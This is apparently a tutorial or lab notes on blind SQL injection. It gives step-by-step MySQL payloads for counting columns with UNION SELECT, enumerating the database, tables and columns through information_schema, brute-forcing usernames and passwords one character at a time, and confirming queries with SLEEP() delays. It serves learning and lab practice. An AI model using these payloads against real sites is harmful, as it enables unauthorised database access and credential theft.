Blind SQLi is when we get little to no feedback to confirm whether our injected queries were, in fact, successful or not. This is because the error messages have been disabled, but the injection still works regardless. All we need is a little bit of feedback to successful enumerate a whole DB.
Boolean-based SQLi refers to the response we receive back from our injection attempts which is boolean (in any form). That boolean value says if SQL Injection payload was successful or not.
With just two possible outcomes, it's possible to enumerate a whole DB structure and contents.
Let's say we have the SQL query that processes the login form to see if the username is already taken:
select*from users where username ='%username%'LIMIT1;
And we have the boolean response in form of error message saying that the username is taken.
First, we establish the number the number of columns in the users table with UNION statement:
admin123' UNION SELECT 1;--
If taken === false, we can confirm this is the incorrect value of columns. Keep on adding more columns until we have taken === true:
admin123' UNION SELECT 1,2,3;--
When the number of columns has been established, we can work on the enumeration of the DB.
First, we need to discover the DB name. We can do this by using the built-in database() method and then using the UNION operator to try and find results that will return a true status:
admin123' UNION SELECT 1,2,3 where database() like 'a%';--
In the example above, we try to see if the DB name starts witha. We can cycle through all the letters, numbers and -and` characters until we discover a match. Thanks to that we can _brute-force the name of the DB.
When we have established the DB name, we can use it to enumerate table names using a similar method by utilising the information_schema DB:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema='sqli_three' and table_name like 'a%';--`
This query looks for results in the information_schema DB in the tables table where the DB name matches sqli_three, and the table name begins with a. Like previously, we'll need to cycle through letters, numbers and characters until a positive match.
Let's say we've discovered a users table in the sqli_three DB this way. We can confirm its existence with the following username payload:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--
Lastly, we need to enumerate the column names in the users table so we can properly search it for login credentials. Again using the information_schema DB and the information we've already gained, we can start querying it for column names. Using the payload below, we search the columns table where the DB is equal to sqli_three, the table name is users, and the column name begins with a.
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';`
As we're looking for multiple results, we'll have to add this to our payload each time we find a new column name, not to keep discovering the same one:
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';`
Let's assume we've enumerated 3 columns this way: id, username and password. Now we can use them to query the users table for login credentials, starting with username, then password:
admin123' UNION SELECT 1,2,3 from users where username like 'a%-- username is `admin`admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
A time-based blind SQL Injection is very similar to the Boolean Based Blind SQLi. The same requests are sent, and there is no visual indicator queries being right. In this case however, the indicator of a correct query is based on the time the query takes to complete.
This time delay is introduced by using built-in methods such as sleep() alongside the UNION statement. sleep will only get executed upon a successful UNION SELECT statement, for example:
admin123' UNION SELECT SLEEP(5);--
If there was no pause in the response time, we know that the query was unsuccessful, so we add another column:
admin123' UNION SELECT SLEEP(5),2;--
This payload should have produced a 5-second time delay, which confirms the successful execution of the UNION statement and that there are two columns.
Thanks to that we could go through enumeration process similar to the one in the Boolean-based Blind SQLi, adding the SLEEP() method into the UNION SELECT statement:
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--`
Out-of-Band SQLi isn't as common as it either depends on specific features being enabled on the database server or the web application's business logic, which makes some kind of external network call based on the results from an SQL query.